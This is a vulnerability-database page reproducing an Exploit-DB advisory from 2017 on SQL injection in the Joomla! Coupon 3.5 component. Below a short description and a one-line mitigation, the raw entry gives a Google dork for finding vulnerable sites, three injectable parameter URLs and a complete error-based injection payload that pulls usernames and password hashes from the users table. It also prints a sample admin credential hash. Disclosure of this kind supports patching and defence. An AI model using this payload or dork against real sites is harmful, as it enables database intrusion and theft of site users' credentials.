Joomla! Component Coupon v3.5 - SQL Injection

vendor:

Coupon

by:

Ihsan Sencan

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: Coupon

Affected Version From: 3.5

Affected Version To: 3.5

Patch Exists: NO

Related CWE: N/A

CPE: a:joomla6teen:coupon:3.5

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Win7 x64, Kali Linux x64

2017

Joomla! Component Coupon v3.5 – SQL Injection

A SQL Injection vulnerability exists in Joomla! Component Coupon v3.5, which allows an attacker to inject malicious SQL code into the application. The vulnerable parameters are 'option=com_coupon&view=coupons&task=mail_box&', 'option=com_coupon&view=coupons&catid' and 'option=com_coupon&view=coupons&storeid'. An example of the exploit is provided in the text.

Mitigation:

Developers should ensure that user-supplied input is properly sanitized and validated before being used in SQL queries.

Source

Exploit-DB raw data:

# # # # #
# Exploit Title: Joomla! Component Coupon v3.5 - SQL Injection
# Google Dork: inurl:index.php?option=com_coupon
# Date: 03.03.2017
# Vendor Homepage: http://joomla6teen.com/
# Software: https://extensions.joomla.org/extensions/extension/e-commerce/gifts-a-coupons/coupon/
# Demo: http://demo.joomla6teen.com/couponmanager/
# Version: 3.5
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_coupon&view=coupons&task=mail_box&=[SQL]
# http://localhost/[PATH]/index.php?option=com_coupon&view=coupons&catid=[SQL]
# http://localhost/[PATH]/index.php?option=com_coupon&view=coupons&storeid=[SQL]
# For example;
# DATABASE > demojoom_coupon3
# TABLES > wl6xp_users
# COLUMNS > username, password
# DATA
# http://localhost/[PATH]/index.php?option=com_coupon&view=coupons&catid=7+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,char(58),password)+AS+CHAR),0x7e))+FROM+wl6xp_users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
# admin:$2y$10$IeBQiHyJNpZ7mVVNlmW7..Xr5I4tSTlN5Dq7QVltnjtWmaWu2J4
# Etc..
# # # # #